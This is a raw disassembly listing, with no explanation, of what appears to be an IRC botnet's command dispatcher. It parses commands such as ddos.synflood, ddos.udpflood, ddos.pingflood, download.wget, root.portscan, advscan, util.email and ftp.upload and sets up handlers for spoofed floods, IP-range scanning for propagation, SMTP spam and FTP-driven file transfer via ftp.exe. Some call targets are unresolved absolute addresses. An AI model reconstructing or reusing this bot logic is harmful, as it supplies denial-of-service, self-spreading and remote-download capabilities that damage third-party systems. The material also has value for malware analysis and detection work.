call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4129CA push [ebp+arg_8] push offset aDdos_ic ; "ddos.ic" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4129CA mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz loc_40F239 push [ebp+arg_8] push offset aClone_make ; "clone.make" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4128DF push [ebp+arg_8] push offset aClone_start ; "clone.start" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4128DF push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127DA push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127DA push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127DA push [ebp+arg_8] push offset aDdos_synflood ; "ddos.synflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4126DC push [ebp+arg_8] push offset aDdos_synf ; "ddos.synf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4126DC push [ebp+arg_8] push offset aDownload_wget ; "download.wget" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41259B push [ebp+arg_8] push offset aDownload_wg ; "download.wg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41259B push [ebp+arg_8] push offset aDaemon_redirec ; "daemon.redirect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41249E push [ebp+arg_8] push offset aDaemon_rd ; "daemon.rd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41249E push [ebp+arg_8] push offset aRoot_portscan ; "root.portscan" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4123AB push [ebp+arg_8] push offset aRoot_ps ; "root.ps" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4123AB push [ebp+arg_8] push offset aClone_privmsg ; "clone.privmsg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4122D6 push [ebp+arg_8] push offset aClone_pm ; "clone.pm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4122D6 push [ebp+arg_8] push offset aClone_action ; "clone.action" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4121BE push [ebp+arg_8] push offset aClone_ac ; "clone.ac" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4121BE mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz loc_40F239 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411E65 push [ebp+arg_8] push offset aAsc ; "asc" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411E65 push [ebp+arg_8] push offset aDdos_udpflood ; "ddos.udpflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aDdos_udpf ; "ddos.udpf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aU ; "u" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aDdos_pingflood ; "ddos.pingflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aDdos_pingf ; "ddos.pingf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aP ; "p" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aDdos_tcpflood ; "ddos.tcpflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A65 push [ebp+arg_8] push offset aDdos_tcpf ; "ddos.tcpf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A65 push [ebp+arg_8] push offset aUtil_email ; "util.email" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_41189C lea eax, [ebp+var_3F8] push edi push eax call sub_4179C0 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_DB0] push eax call sub_4179C0 push [ebp+arg_10] lea eax, [ebp+var_BA8] push eax call sub_4179C0 push offset asc_42A3B4 ; " " push offset a__0 ; "_" push [ebp+esi+var_80] call sub_40A7D7 push eax lea eax, [ebp+var_55C] push eax call sub_4179C0 add esp, 30h lea eax, [ebp+var_6EC] push eax push 101h call dword_43F5E0 lea eax, [ebp+var_3F8] push eax call dword_43F6EC push 6 push 1 push 2 mov edi, eax call dword_43F6E8 push [ebp+arg_18] mov esi, eax mov [ebp+var_2EC], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_2E8], eax call dword_43F668 mov [ebp+var_2EA], ax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_BA8] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_15B0] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_4172B0 add esp, 1Ch lea eax, [ebp+var_2EC] push 10h push eax push esi call dword_43F610 mov edi, 100h push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call dword_43F680 lea eax, [ebp+var_CAC] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_15B0] push eax push esi call dword_43F6B8 push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call dword_43F680 push esi call dword_43F700 call dword_43F5C8 lea eax, [ebp+var_BA8] push eax push offset unk_4373F0 loc_411888: ; CODE XREF: sub_40EE72+3B53j ; sub_40EE72+3E3Aj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch jmp loc_413A64 ; --------------------------------------------------------------------------- loc_41189C: ; CODE XREF: sub_40EE72+28C0j push [ebp+arg_8] push offset aUtil_httpcon ; "util.httpcon" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A34 push [ebp+arg_8] push offset aUtil_hcon ; "util.hcon" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A34 mov esi, [ebp+esi+var_80] cmp esi, ebx jz loc_40F239 push [ebp+arg_8] push offset aFtp_upload ; "ftp.upload" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 push 4 push esi call sub_40D000 pop ecx test eax, eax pop ecx jnz short loc_411906 push esi push offset dword_437398 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_411906: ; CODE XREF: sub_40EE72+2A87j call near ptr 25E08E4h nop push eax call sub_417302 pop ecx call sub_41730C push 9 cdq pop ecx idiv ecx push edx call sub_41730C push 63h cdq pop ecx idiv ecx push edx call sub_41730C cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_CB0] push edx push eax lea eax, [ebp+var_BAC] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_4172B0 lea eax, [ebp+var_BAC] push offset aAb ; "ab" push eax call sub_4179A8 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_40F239 push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_417956 push [ebp+arg_24] call sub_417900 add esp, 20h lea eax, [ebp+var_BAC] push eax lea eax, [ebp+var_3F8] push offset aSS_4 ; "-s:%s" push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_3F8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_43F5DC test eax, eax push edi push esi jz short loc_4119D3 push offset dword_437320 jmp short loc_4119D8 ; --------------------------------------------------------------------------- loc_4119D3: ; CODE XREF: sub_40EE72+2B58j push offset dword_4372E4 loc_4119D8: ; CODE XREF: sub_40EE72+2B5Fj call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_411A01 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_411A01: ; CODE XREF: sub_40EE72+2B71j lea eax, [ebp+var_2DC] push eax call sub_40BF6D loc_411A0D: ; CODE XREF: sub_40EE72+2BC0j lea eax, [ebp+var_BAC] push 4 push eax call sub_40D000 add esp, 0Ch test eax, eax jz loc_40F239 lea eax, [ebp+var_BAC] push eax call sub_419BBA jmp short loc_411A0D ; --------------------------------------------------------------------------- loc_411A34: ; CODE XREF: sub_40EE72+2A3Bj ; sub_40EE72+2A52j push [ebp+esi+var_80] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41781F pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_406AF8 loc_411A5D: ; CODE XREF: sub_40EE72+587Aj add esp, 24h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_411A65: ; CODE XREF: sub_40EE72+2892j ; sub_40EE72+28A9j mov esi, 80h push edi lea eax, [ebp+var_678] push esi push eax call sub_41782A lea eax, [ebp+var_678] push eax push offset aSyn ; "syn" call sub_4176D0 add esp, 14h test eax, eax jz short loc_411AC8 lea eax, [ebp+var_678] push eax push offset aAck ; "ack" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411AC8 lea eax, [ebp+var_678] push eax push offset aRandom ; "random" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411AC8 push offset dword_4372AC jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411AC8: ; CODE XREF: sub_40EE72+2C1Cj ; sub_40EE72+2C33j ... push [ebp+arg_10] call sub_41781F cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_411BF4 push edi lea eax, [ebp+var_678] push esi push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_6F8] push [ebp+arg_18] push esi push eax call sub_41782A push [ebp+arg_0] call sub_41781F mov [ebp+var_574], eax add esp, 10h xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_56C], ebx mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_411B65 mov eax, offset aNormal ; "Normal" loc_411B65: ; CODE XREF: sub_40EE72+2CECj push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset dword_437258 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 0Ch push eax call sub_416D5C add esp, 2Ch mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_401D82 push ebx push ebx call near ptr 2660D4Bh nop mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_411BE3 loc_411BCD: ; CODE XREF: sub_40EE72+2D6Fj cmp [ebp+var_560], ebx jnz loc_41460C push 32h call near ptr 25F0439h nop jmp short loc_411BCD ; --------------------------------------------------------------------------- loc_411BE3: ; CODE XREF: sub_40EE72+2D59j call near ptr 2630313h nop push eax push offset dword_437210 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_411BF4: ; CODE XREF: sub_40EE72+2C67j push offset dword_4371C8 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411BFE: ; CODE XREF: sub_40EE72+284Dj ; sub_40EE72+2864j ... cmp dword_43F758, ebx mov esi, [ebp+arg_4] jnz loc_411D09 mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F push [ebp+arg_10] mov [ebp+var_314], eax call sub_41781F push 7Fh mov [ebp+var_310], eax push [ebp+var_8C] lea eax, [ebp+var_418] push eax call sub_418C10 add esp, 24h lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_310] push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset unk_437170 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Eh push eax call sub_416D5C add esp, 24h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40AF86 push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_411CF8 loc_411CE6: ; CODE XREF: sub_40EE72+2E84j cmp [ebp+var_2FC], ebx jnz short loc_411D22 push 32h call near ptr 25F0439h nop jmp short loc_411CE6 ; --------------------------------------------------------------------------- loc_411CF8: ; CODE XREF: sub_40EE72+2E72j call near ptr 2630313h nop push eax push offset unk_437128 jmp loc_4128CE ; --------------------------------------------------------------------------- loc_411D09: ; CODE XREF: sub_40EE72+2D95j push 1FFh lea eax, [ebp+var_2DC] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_418C10 loc_411D1F: ; CODE XREF: sub_40EE72+3A68j add esp, 0Ch loc_411D22: ; CODE XREF: sub_40EE72+2E7Aj ; sub_40EE72+2FD2j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push [ebp+var_4] loc_411D2F: ; CODE XREF: sub_40EE72+567Ej lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push esi jmp loc_414629 ; --------------------------------------------------------------------------- loc_411D42: ; CODE XREF: sub_40EE72+2808j ; sub_40EE72+281Fj ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F push [ebp+arg_10] mov [ebp+var_314], eax call sub_41781F mov esi, [ebp+esi+var_80] add esp, 18h cmp esi, ebx mov [ebp+var_310], eax jz short loc_411DA7 push esi call sub_41781F pop ecx mov [ebp+var_30C], eax jmp short loc_411DAD ; --------------------------------------------------------------------------- loc_411DA7: ; CODE XREF: sub_40EE72+2F24j mov [ebp+var_30C], ebx loc_411DAD: ; CODE XREF: sub_40EE72+2F33j push 7Fh lea eax, [ebp+var_418] push [ebp+var_8C] push eax call sub_418C10 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_310] push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset dword_4370B8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Fh push eax call sub_416D5C add esp, 24h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40B112 push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_411E54 loc_411E3E: ; CODE XREF: sub_40EE72+2FE0j cmp [ebp+var_2FC], ebx jnz loc_411D22 push 32h nop call near ptr 25F0439h jmp short loc_411E3E ; --------------------------------------------------------------------------- loc_411E54: ; CODE XREF: sub_40EE72+2FCAj nop call near ptr 2630313h push eax push offset dword_437070 jmp loc_4128CE ; --------------------------------------------------------------------------- loc_411E65: ; CODE XREF: sub_40EE72+27DAj ; sub_40EE72+27F1j push 8 call sub_416FA4 push [ebp+arg_18] mov [ebp+arg_8], eax call sub_41781F add eax, [ebp+arg_8] pop ecx pop ecx cmp eax, 258h jle short loc_411EB8 push [ebp+arg_8] lea eax, [ebp+var_2DC] push offset unk_437024 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_411EB8: ; CODE XREF: sub_40EE72+300Fj push edi call sub_41781F push [ebp+arg_18] mov [ebp+var_330], eax call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F add esp, 0Ch cmp eax, 2 mov [ebp+var_32C], eax jnb short loc_411EF1 push 2 pop eax mov [ebp+var_32C], eax loc_411EF1: ; CODE XREF: sub_40EE72+3074j push 3Ch pop ecx cmp eax, ecx jbe short loc_411EFE mov [ebp+var_32C], ecx loc_411EFE: ; CODE XREF: sub_40EE72+3084j push [ebp+arg_10] call sub_41781F mov [ebp+var_328], eax mov eax, 320h cmp [ebp+var_328], eax pop ecx jbe short loc_411F20 mov [ebp+var_328], eax loc_411F20: ; CODE XREF: sub_40EE72+30A6j or [ebp+var_314], 0FFFFFFFFh cmp dword_42ACB0, ebx mov [ebp+arg_0], ebx jz short loc_411F76 mov [ebp+arg_24], offset dword_42ACB0 loc_411F39: ; CODE XREF: sub_40EE72+30E6j mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411F5C add [ebp+arg_24], 3Ch inc [ebp+arg_0] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_411F39 jmp short loc_411F76 ; --------------------------------------------------------------------------- loc_411F5C: ; CODE XREF: sub_40EE72+30D8j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, dword_42ACB0[ecx] mov [ebp+var_330], ecx loc_411F76: ; CODE XREF: sub_40EE72+30BEj ; sub_40EE72+30E8j cmp [ebp+var_330], ebx jz loc_414039 mov edi, [ebp+esi+var_80] cmp edi, ebx mov [ebp+arg_18], edi jz short loc_411FBD cmp byte ptr [edi], 23h jz short loc_411FBD push edi lea eax, [ebp+var_444] push 10h push eax call sub_41782A push 78h push edi call sub_418F50 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_304], eax jmp loc_412091 ; --------------------------------------------------------------------------- loc_411FBD: ; CODE XREF: sub_40EE72+3119j ; sub_40EE72+311Ej cmp [ebp+var_9C7], bl jnz short loc_411FDF cmp [ebp+var_9C6], bl jnz short loc_411FDF cmp [ebp+var_9B6], bl jnz short loc_411FDF push offset unk_436FE0 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411FDF: ; CODE XREF: sub_40EE72+3151j ; sub_40EE72+3159j ... push 10h lea eax, [ebp+arg_0] pop edi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_0], edi push [ebp+arg_4] call dword_43F60C mov al, [ebp+var_9C7] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call dword_43F6F4 push eax lea eax, [ebp+var_444] push eax call sub_418C10 add esp, 0Ch cmp [ebp+var_9B6], bl jz short loc_41208B xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_418F10 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_41207F loc_41205D: ; CODE XREF: sub_40EE72+320Bj cmp eax, ebx jz short loc_41207F mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_418F10 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_41205D loc_41207F: ; CODE XREF: sub_40EE72+31E9j ; sub_40EE72+31EDj mov [ebp+var_304], 1 jmp short loc_412091 ; --------------------------------------------------------------------------- loc_41208B: ; CODE XREF: sub_40EE72+31C3j mov [ebp+var_304], ebx loc_412091: ; CODE XREF: sub_40EE72+3146j ; sub_40EE72+3217j mov eax, [ebp+arg_4] push [ebp+var_8C] mov [ebp+var_334], eax mov eax, [ebp+var_4] mov [ebp+var_30C], eax mov eax, [ebp+var_8] mov [ebp+var_308], eax mov edi, 80h lea eax, [ebp+var_434] push edi push eax call sub_41782A mov esi, [ebp+esi+var_7C] add esp, 0Ch cmp esi, ebx jz short loc_4120E2 loc_4120CF: ; CODE XREF: sub_40EE72+3293j push esi loc_4120D0: ; CODE XREF: sub_40EE72+327Dj lea eax, [ebp+var_3B4] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_41210D ; --------------------------------------------------------------------------- loc_4120E2: ; CODE XREF: sub_40EE72+325Bj mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_4120F1 cmp byte ptr [eax], 23h jnz short loc_4120F1 push eax jmp short loc_4120D0 ; --------------------------------------------------------------------------- loc_4120F1: ; CODE XREF: sub_40EE72+3275j ; sub_40EE72+327Aj mov esi, offset aF ; "#f" push offset byte_43C80C push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4120CF mov [ebp+var_3B4], bl loc_41210D: ; CODE XREF: sub_40EE72+326Ej cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_41211F mov eax, offset aSequential ; "Sequential" loc_41211F: ; CODE XREF: sub_40EE72+32A6j push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset unk_436F5C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40797F push ebx push ebx call near ptr 2660D4Bh nop mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4121AD loc_412197: ; CODE XREF: sub_40EE72+3339j cmp [ebp+var_300], ebx jnz loc_41460C push 32h nop call near ptr 25F0439h jmp short loc_412197 ; --------------------------------------------------------------------------- loc_4121AD: ; CODE XREF: sub_40EE72+3323j nop call near ptr 2630313h push eax push offset unk_436F14 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_4121BE: ; CODE XREF: sub_40EE72+279Aj ; sub_40EE72+27B1j push edi call sub_41781F imul eax, 234h pop ecx cmp byte_4450D8[eax], bl jz loc_414F47 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] call sub_417AB0 push edi mov esi, eax call sub_417AB0 push [ebp+arg_8] add esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417880 add esp, 14h mov esi, eax lea eax, [ebp+var_2DC] push esi push offset dword_436F08 push eax call sub_4172B0 add esp, 0Ch cmp esi, ebx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 push ebx lea eax, [ebp+var_2DC] push ebx push eax push [ebp+arg_18] push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D679 push edi call sub_41781F imul eax, 234h add esp, 18h cmp byte ptr dword_444EC0[eax], 73h jnz loc_414F47 push esi push edi call sub_41781F imul eax, 234h pop ecx add eax, offset byte_4450D8 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] * %s %s" loc_4122A9: ; CODE XREF: sub_40EE72+3534j lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 28h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_4122D6: ; CODE XREF: sub_40EE72+276Cj ; sub_40EE72+2783j push edi call sub_41781F imul eax, 234h pop ecx cmp byte_4450D8[eax], bl jz loc_414F47 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] call sub_417AB0 push edi mov esi, eax call sub_417AB0 push [ebp+arg_8] add esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 14h cmp esi, ebx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D679 push edi call sub_41781F imul eax, 234h add esp, 18h cmp byte ptr dword_444EC0[eax], 73h jnz loc_414F47 push esi push edi call sub_41781F imul eax, 234h pop ecx add eax, offset byte_4450D8 push eax push [ebp+arg_18] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_4122A9 ; --------------------------------------------------------------------------- loc_4123AB: ; CODE XREF: sub_40EE72+273Ej ; sub_40EE72+2755j push edi call dword_43F6A8 push [ebp+arg_18] mov [ebp+var_474], eax call sub_41781F push [ebp+arg_0] mov [ebp+var_480], eax call sub_41781F mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_47C], eax lea eax, [ebp+var_500] mov [ebp+var_504], esi push eax call sub_418C10 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_46C], edi push [ebp+var_47C] mov [ebp+var_468], eax push [ebp+var_480] push [ebp+var_474] call dword_43F6F4 push eax lea eax, [ebp+var_2DC] push offset unk_436E9C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 20h mov [ebp+var_478], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_504] push ebx push eax push offset byte_415E37 push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_478] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_41248D loc_412477: ; CODE XREF: sub_40EE72+3619j cmp [ebp+var_464], ebx jnz loc_4144E5 push 32h call near ptr 25F0439h nop jmp short loc_412477 ; --------------------------------------------------------------------------- loc_41248D: ; CODE XREF: sub_40EE72+3603j nop call near ptr 2630313h push eax push offset unk_436E50 jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_41249E: ; CODE XREF: sub_40EE72+2710j ; sub_40EE72+2727j push edi call sub_41781F push 7Fh mov [ebp+var_314], eax push [ebp+arg_18] lea eax, [ebp+var_418] push eax call sub_418C10 push [ebp+arg_0] call sub_41781F mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_318], eax lea eax, [ebp+var_398] push [ebp+var_8C] mov [ebp+var_420], esi push 80h push eax call sub_41782A mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_304], eax push [ebp+var_318] lea eax, [ebp+var_418] mov [ebp+var_308], edi push eax push [ebp+var_314] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_436E04 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 10h push eax call sub_416D5C add esp, 24h mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_420] push ebx push eax push offset sub_407BDE push ebx push ebx call near ptr 2660D4Bh nop mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_41258A loc_412574: ; CODE XREF: sub_40EE72+3716j cmp [ebp+var_300], ebx jnz loc_4144E5 push 32h nop call near ptr 25F0439h jmp short loc_412574 ; --------------------------------------------------------------------------- loc_41258A: ; CODE XREF: sub_40EE72+3700j call near ptr 2630313h nop push eax push offset unk_436DB0 jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_41259B: ; CODE XREF: sub_40EE72+26E2j ; sub_40EE72+26F9j push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_418C10 push 0FFh lea eax, [ebp+var_680] push [ebp+arg_18] push eax call sub_418C10 push [ebp+arg_0] mov [ebp+var_57C], ebx call sub_41781F mov [ebp+var_578], eax mov eax, [ebp+esi+var_84] add esp, 1Ch cmp eax, ebx jz short loc_4125F7 push 10h push ebx push eax call sub_418A3B add esp, 0Ch mov [ebp+var_570], eax jmp short loc_4125FD ; --------------------------------------------------------------------------- loc_4125F7: ; CODE XREF: sub_40EE72+376Fj mov [ebp+var_570], ebx loc_4125FD: ; CODE XREF: sub_40EE72+3783j mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_412614 push esi call sub_41781F pop ecx mov [ebp+var_574], eax jmp short loc_41261A ; --------------------------------------------------------------------------- loc_412614: ; CODE XREF: sub_40EE72+3791j mov [ebp+var_574], ebx loc_41261A: ; CODE XREF: sub_40EE72+37A0j movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_568], eax lea eax, [ebp+var_2DC] push edi push offset unk_436D74 push eax call sub_4172B0 push esi lea eax, [ebp+var_2DC] push 16h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40CAF1 push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4126CB loc_4126B5: ; CODE XREF: sub_40EE72+3857j cmp [ebp+var_560], ebx jnz loc_411D22 push 32h nop call near ptr 25F0439h jmp short loc_4126B5 ; --------------------------------------------------------------------------- loc_4126CB: ; CODE XREF: sub_40EE72+3841j nop call near ptr 2630313h push eax push offset unk_436D24 jmp loc_4128CE ; --------------------------------------------------------------------------- loc_4126DC: ; CODE XREF: sub_40EE72+26B4j ; sub_40EE72+26CBj push 7Fh lea eax, [ebp+var_76C] pop esi push esi push edi push eax call sub_418C10 push esi 